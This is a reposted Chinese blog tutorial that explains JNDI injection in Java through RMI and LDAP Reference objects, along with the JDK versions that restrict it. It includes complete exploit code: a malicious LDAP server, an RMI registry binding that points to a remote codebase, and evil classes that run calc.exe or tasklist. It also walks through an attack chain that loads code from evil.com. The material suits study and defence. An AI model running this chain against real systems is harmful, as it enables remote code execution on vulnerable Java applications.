0


java安全(2)-JNDI注入

0x01前言

了解jndi时,我们要思考明白:

  1. 什么是jndi 2)jndi代码示例 3)jndi 注入方式 4)高版本绕过

0x01 什么是jndi

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,

它允许 Java 应用程序通过名称发现和检索数据和资源,而不需要直接引用它们的位置。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用 (RMI)、通用对象请求代理体系结构 (CORBA)、轻量级目录访问协议 (LDAP) 或域名服务 (DNS)

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

format,png

JNDI 的主要功能

1. 绑定对象

  • JNDI 可以将 Java 对象绑定到命名/目录服务中的名称。

2. 查找和查询

  • 应用程序可以使用 JNDI 根据对象名称或属性来查找或查询对象。这样就可以在运行时动态检索资源或服务。

3.通过SPI实现扩展

  • JNDI 通过服务提供程序接口 (SPI) 支持各种目录服务。这些 SPI 使 JNDI 能够与不同的命名和目录系统集成。

了解命名和目录服务

Java Naming:命名服务是一种键值对的绑定,使应用程序可以通过键检索值。
伪代码如下:

Context ctx  =  new  InitialContext (env); 
MyObject  obj  = (MyObject) ctx.lookup( "myObject" );

Java Directory:对象可以有属性,在目录服务中可以根据属性(而不仅仅是名称)存储和搜索目录对象。

DirContext  ctx  =  new  InitialDirContext (env); 
NamingEnumeration<?> namingEnum = ctx.search( "ou=people" , "(cn=Sickurity Wizard)" );

ObjectFactory:(重点关注)

Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,例如Java中的对象或Java中的基本数据类型。每一个Service Provider可能配有多个Object Factory。JNDI注入的问题就是处在可远程下载自定义的ObjectFactory类上。

0x02 jndi 的包以及代码说明

JNDI 主要是上述四种服务,对应四个包加一个主包
JNDI 接口主要分为下述 5 个包:

javax.naming
javax.naming.directory
javax.naming.event
javax.naming.ldap
javax.naming.spi

其中最重要的是

javax.naming

包,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 以上述打印机服务为例,通过 JNDI 接口,用户可以透明地调用远程打印服务。

Jndi 在对不同服务进行调用的时候,会去调用 xxxContext 这个类,比如调用 RMI 服务的时候就是调的 RegistryContext,这一点是很重要的,记住了这一点对于 JNDI 这里的漏洞理解非常有益。一般的应用也就是先

new InitialContext()

,再调用 API 即可,下面我们先看一个 JNDI 结合 RMI 的代码实例。

JNDI的代码示例

在JNDI中提供了绑定和查找的方法:

  • bind:将名称绑定到对象中;
  • lookup:通过名字检索执行的对象;

1. Jndi 结合 RMI

下面是基本用法Demo,以RMI服务为例。新建一个项目,把服务端和客户端分开,代码如下:

服务端,其通过JNDI实现RMI服务,并通过JNDI的bind()函数将实例化的Person对象绑定到RMI服务中

import javax.naming.InitialContext;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
public class JNDIRMIServer {  
    public static void main(String[] args) throws Exception{  
        InitialContext initialContext = new InitialContext();  //InitialContext 对象用于与JNDI命名服务交互。它可以在JNDI命名空间中查找或绑定对象
 Registry registry = LocateRegistry.createRegistry(1099);  //创建RMI注册表,在本地创建一个RMI注册表并监听端口1099。RMI注册表是RMI运行时系统的一部分,它允许服务器注册远程对象,客户端通过查找注册表获取远程对象的引用。
 initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());  //initialContext.rebind(...):将一个远程对象绑定到JNDI服务的命名空间中。具体来说,它将RemoteObjImpl对象绑定到rmi://localhost:1099/remoteObj这个地址。
new RemoteObjImpl()://是一个假设的实现类,它应该实现了一个远程接口,提供了可以通过RMI调用的方法。
 }  
}

客户端,其通过JNDI的lookup方法来检索对象并输出出来

import javax.naming.InitialContext;  
  
public class JNDIRMIClient {  
    public static void main(String[] args) throws Exception{  
        InitialContext initialContext = new InitialContext();  
 RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");  
 System.out.println(remoteObj.sayHello("hello"));  
 }  
}

弦外音

简单比较一下RMI原生写法和使用JNDI检索的写法,在RMI原生写法中的两种典型写法:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;
...
    
    //服务端
    IRemoteMath remoteMath = new RemoteMath();
    LocateRegistry.createRegistry(1099);    
    Registry registry = LocateRegistry.getRegistry();
    registry.bind("Compute", remoteMath);
...
    
    //客户端
    Registry registry = LocateRegistry.getRegistry("localhost");        
    IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");

//or

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
...

    //服务端
    PersonService personService=new PersonServiceImpl();
    LocateRegistry.createRegistry(6600);
    Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
...

    //客户端
    PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:6600/PersonService");

JNDI中相关代码:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
...
    
    //服务端
    LocateRegistry.createRegistry(6666);
    System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
    InitialContext ctx = new InitialContext();
    ...
    ctx.bind("person", p);
    ctx.close();
...

    //客户端
    InitialContext ctx = new InitialContext();
    Person person = (Person) ctx.lookup("person");
    ctx.close();

或

    //服务端
    Properties env = new Properties();
    env.put(Context.INITIAL_CONTEXT_FACTORY,
            "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL,
            "rmi://localhost:1099");
    Context ctx = new InitialContext(env);

相比之下:

  • 服务端:原生RMI实现中是调用java.rmi包内的bind()或rebind()方法来直接绑定RMI注册表端口的,而JNDI创建的RMI服务中多的部分就是需要设置INITIAL_CONTEXT_FACTORY和PROVIDER_URL来指定InitialContext的初始化Factory和Provider的URL地址,换句话说就是初始化配置JNDI设置时需要预先指定其上下文环境如指定为RMI服务,最后再调用javax.naming.InitialContext.bind()来将指定对象绑定到RMI注册表中;
  • 客户端:原生RMI实现中是调用java.rmi包内的lookup()方法来检索绑定在RMI注册表中的对象,而JNDI实现的RMI客户端查询是调用javax.naming.InitialContext.lookup()方法来检索的;

简单地说,原生RMI实现的方式主要是调用java.rmi这个包来实现绑定和检索的,而JNDI实现的RMI服务则是调用javax.naming这个包即应用Java Naming来实现的。

2. Jndi 结合 ldap

LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。

ldap 的 JNDI 漏洞

先起一个 LDAP 的服务,这里需要先在 pom.xml 中导入

unboundid-ldapsdk

的依赖

<dependency>  
 <groupId>com.unboundid</groupId>  
 <artifactId>unboundid-ldapsdk</artifactId>  
 <version>3.2.0</version>  
 <scope>test</scope>  
</dependency>

对应的 server 的代码

import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  
  
public class LdapServer {  
    private static final String LDAP_BASE = "dc=example,dc=com";  
 public static void main (String[] args) {  
        String url = "http://127.0.0.1:8000/#EvilObject";  
 int port = 1234;  
 try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
 config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen",  
 InetAddress.getByName("0.0.0.0"),  
 port,  
 ServerSocketFactory.getDefault(),  
 SocketFactory.getDefault(),  
 (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
 config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));  
 InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
 System.out.println("Listening on 0.0.0.0:" + port);  
 ds.startListening();  
 }  
        catch ( Exception e ) {  
            e.printStackTrace();  
 }  
    }  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
        private URL codebase;  
 /**  
 * */ public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
 }  
        /**  
 * {@inheritDoc}  
 * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)  
 */ @Override  
 public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
 Entry e = new Entry(base);  
 try {  
                sendResult(result, base, e);  
 }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
 }  
        }  
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
 System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
 e.addAttribute("javaClassName", "Exploit");  
 String cbstring = this.codebase.toString();  
 int refPos = cbstring.indexOf('#');  
 if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
 }  
            e.addAttribute("javaCodeBase", cbstring);  
 e.addAttribute("objectClass", "javaNamingReference");  
 e.addAttribute("javaFactory", this.codebase.getRef());  
 result.sendSearchEntry(e);  
 result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
 }  
  
    }  
}

客户端这里和上面是差不多的,只是把服务替换成了 ldap

JNDILdapClient.java

import javax.naming.InitialContext;  
  
public class JNDILdapClient {  
    public static void main(String[] args) throws Exception{  
        InitialContext initialContext = new InitialContext();  
 RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1099/remoteObj");  
 System.out.println(remoteObj.sayHello("hello"));  
 }  
}

先用 python 起一个 HTTP 服务,再跑服务端代码,再跑客户端。

8e7e0571645a9ad2f4411e4f68138230.png

  • 这个攻击就还是我们之前说的 Reference

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。

所以,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来进行JNDI注入的利用。

因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议

0x02 JNDI注入

前提条件&JDK防御

要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。

这里将所有不同版本JDK的防御都列出来:

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

因此,我们在进行JNDI注入之前,必须知道当前环境JDK版本这一前提条件,只有JDK版本在可利用的范围内才满足我们进行JNDI注入的前提条件。

RMI攻击向量

RMI+Reference利用技巧

JNDI提供了一个Reference类来表示某个对象的引用,这个类中包含被引用对象的类信息和地址。

Reference类表示对存在于命名/目录系统以外的对象的引用,这个上面提到过。

因为在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化不好用的时候,我们可以使用Reference将对象存储在JNDI系统中。

那么这个JNDI利用技巧是啥呢?

就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

注:简单说就是两个地方可控 1、lookup()函数参数外部可控** **2、classFactoryLocation参数外部可控。
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议 上文也提到过忘记可以回看。

bf84c17de7ba4d59bbe372b1ce12b7a0.png

具体步骤:

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj
  2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

eg:

JNDIClient.java,lookup()函数参数外部可控:

ublic class JNDIClient {
    public static void main(String[] args) throws Exception {
        if(args.length < 1) {
            System.out.println("Usage: java JNDIClient <uri>");
            System.exit(-1);
        }
        String uri = args[0];
        Context ctx = new InitialContext();
        System.out.println("Using lookup() to fetch object with " + uri);
        ctx.lookup(uri);
    }
}

RMIService.java,对象实例要能成功绑定在RMI服务上,必须直接或间接的实现 Remote 接口,这里 ReferenceWrapper就继承于 UnicastRemoteObject 类并实现了Remote接口:

public class RMIService {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
        registry.bind("refObj", refObjWrapper);
    }
}
/*evil 远程地址:http://127.0.0.1:8080/,指定了该类的字节码将从这个 URL 加载。
refObjWrapper(包含 EvilObject 的引用)即将被绑定到RMI注册表,地址是 rmi://127.0.0.1:1099/refObj  */

简单介绍一下referencewrapper类:

ReferenceWrapper 类是 Java Naming and Directory Interface (JNDI) 中的一个类,它是 javax.naming.spi.ReferenceWrapper 的一部分。ReferenceWrapper 用于封装一个 Reference 对象,使得该对象可以通过远程调用机制(如 RMI)进行序列化和传输。

主要功能
ReferenceWrapper 类的主要作用是将一个 Reference 对象包装起来,以便它可以在 RMI 注册表中进行绑定,并被远程客户端访问和解析。由于 Reference 对象本身是不可序列化的,ReferenceWrapper 通过实现 Remote 接口,使得该对象可以被远程序列化和传递。

使用场景
在 JNDI 中,Reference 对象通常用于指向某个远程对象或服务的引用。当对象本身不支持远程访问时,可以使用 ReferenceWrapper 将 Reference 对象封装并通过 RMI 注册表发布。
远程客户端可以通过查找 RMI 注册表,获取 ReferenceWrapper 对象,并通过 JNDI 机制将其解析为实际对象。
上述代码中,Reference 是一个引用对象,它包含了目标类的名称 (EvilObject) 和该类的字节码的加载位置(http://127.0.0.1:8080/)。
ReferenceWrapper 将 refObj 封装起来,使得它可以通过 RMI 注册表发布并被远程调用。

这里的registry 和 刚刚提到的 reference+referencewrapper 在使用场景上有哪些不同? (起初困扰了我好一会不理解,毕竟还是web小蔡坤一枚)

Registry(注册表)

  • 功能Registry 是用于管理和查找远程对象的RMI注册表。它负责将实现了 Remote 接口的对象绑定到注册表,并允许客户端通过名称查找远程对象。
  • 使用场景:在服务器端,开发者使用 Registry 将远程对象绑定到某个名称;客户端可以通过这个名称查找远程对象并调用它的方法。
  • 操作对象Registry 直接处理的是远程对象(即实现了 Remote 接口的对象)。

代码在jndi+rmi处提及

Reference(引用)

  • 功能Reference 是JNDI中的一个类,表示某个远程对象的引用。它包含远程对象的类名、工厂类名,以及远程对象的字节码加载位置(通常是一个URL)。
  • 使用场景Reference 用于描述远程对象的引用信息,实际的对象并不在本地。客户端通过解析 Reference 对象,可以动态地从远程加载实际的类或对象。
  • 操作对象Reference 包含的是远程对象的引用信息,而不是远程对象本身。它通常用于动态查找和加载远程资源。
  • 工作机制Reference 提供了远程对象的引用信息。通过 Reference,可以指定从远程服务器加载某个类的字节码(例如从URL加载类定义),而不是将整个对象传输给客户端。

ReferenceWrapper

  • 功能ReferenceWrapper 是JNDI中的一个类,用来封装一个 Reference 对象,使它能够通过RMI注册表发布。ReferenceWrapper 实现了 Remote 接口,使得 Reference 对象可以通过RMI远程调用传输。
  • 使用场景ReferenceWrapper 用于在RMI注册表中发布不可序列化的 Reference 对象,使客户端能够通过远程调用获取该引用并进一步解析。
  • 操作对象ReferenceWrapper 封装的是一个 Reference 对象,而不是直接的远程对象。
  • 工作机制ReferenceWrapperReference 对象封装起来,使得它可以被远程客户端通过RMI注册表访问。客户端查找到 ReferenceWrapper 后,可以通过 Reference 的信息来定位并加载实际的类。

区别:

使用场景的对比:

  • Registry:直接用于RMI系统中,将 Remote 对象发布到注册表,供远程客户端调用。
  • ReferenceWrapper 和 Reference:用于JNDI系统中,尤其是在需要通过RMI注册表传输和发布不可序列化的引用时。通过 ReferenceWrapperReference 对象可以通过RMI机制进行传输,允许远程客户端加载并解析远程对象的引用。

示例场景:

  • Registry:用于典型的RMI远程对象绑定与查找。
  • ReferenceWrapper & Reference:用于需要动态加载远程类或对象的场景,通过RMI传递引用信息,而不是传递整个对象。

EvilObject.java,目的是弹计算器:

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"cmd", "/C", "calc.exe"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }
}

9fe5cad67789481d9cff9bf8e271aaab.png

LDAP攻击向量

通过LDAP攻击向量来利用JNDI注入的原理和RMI攻击向量是一样的,区别只是换了个接口而已,下面就只列下LDAP+Reference的利用技巧,至于JNDI注入漏洞点和前面是一样的就不再赘述了

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如

ldap://xxx/xxx

,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。

所以,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来进行JNDI注入的利用。

因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下。下面的示例代码中我本地的JDk版本是1.8.0_73。(搬运一下大佬的解释)

LdapServer.java,LDAP服务,需要导入unboundid-ldapsdk.jar包:

public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

LdapClient.java,LDAP客户端:

public class LdapClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("ldap://localhost:1234/EvilObject");
            String data = "This is LDAP Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

EvilObject.java,恶意类,执行弹出计算器:

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime.getRuntime().exec("calc.exe");
    }
}

漏洞点2——classFactoryLocation参数注入

前面lookup()参数注入是基于RMI客户端的,也是最常见的。而本小节的classFactoryLocation参数注入则是对于RMI服务端而言的,也就是说服务端程序在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。

e77ec7470fbe49aa8c71644ec21c82e6.png

BClient.java,RMI客户端,通过JNDI来查询RMI注册表上绑定的demo对象,其中lookup()函数参数不可控:

public class BClient {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");//绑定到rmi的1099端口
        ctx.lookup("demo");
    }
}

BServer.java,RMI服务端,创建RMI注册表并将一个远程类的引用绑定在注册表中名为demo,其中该Reference的classFactoryLocation参数外部可控:

public class BServer {
    public static void main(String args[]) throws Exception {
        String uri = "";
        if(args.length == 1) {
            uri = args[0];
        } else {
            uri = "http://127.0.0.1/demo.class";
        }
        System.out.println("[*]classFactoryLocation: " + uri);
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilClass", "EvilClassFactory", uri);
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("[*]Binding 'demo' to 'rmi://192.168.43.201:1099/demo'");
        registry.bind("demo", refObjWrapper);
    }
}

EvilClassFactory.java,攻击者编写的远程恶意类,这里是在RMI客户端执行tasklist命令并输出出来

public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
    public EvilClassFactory() throws RemoteException {
        super();
        InputStream inputStream;
        try {
            inputStream = Runtime.getRuntime().exec("tasklist").getInputStream();
            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
            String linestr;
            while ((linestr = bufferedReader.readLine()) != null){
                System.out.println(linestr);
            }
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中年绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行:ad0c42e594684590942ec19a2bafb7a7.png

漏洞点2——结合反序列化漏洞

后续学习后会进行补充。。。。。

高版本JDK高版本注入绕过

JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,

因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

参考大神文章如下:

浅析JNDI注入 [ Mi1k7ea ]

Java反序列化之JNDI学习 | Drunkbaby's Blog (drun1baby.top)

https://infosecwriteups.com/jndi-injection-the-complete-story-4c5bfbb3f6e1

https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/


本文转载自: https://blog.csdn.net/ngztx/article/details/142579973
版权归原作者 ngztx 所有, 如有侵权,请联系我们删除。

“java安全(2)-JNDI注入”的评论:

还没有评论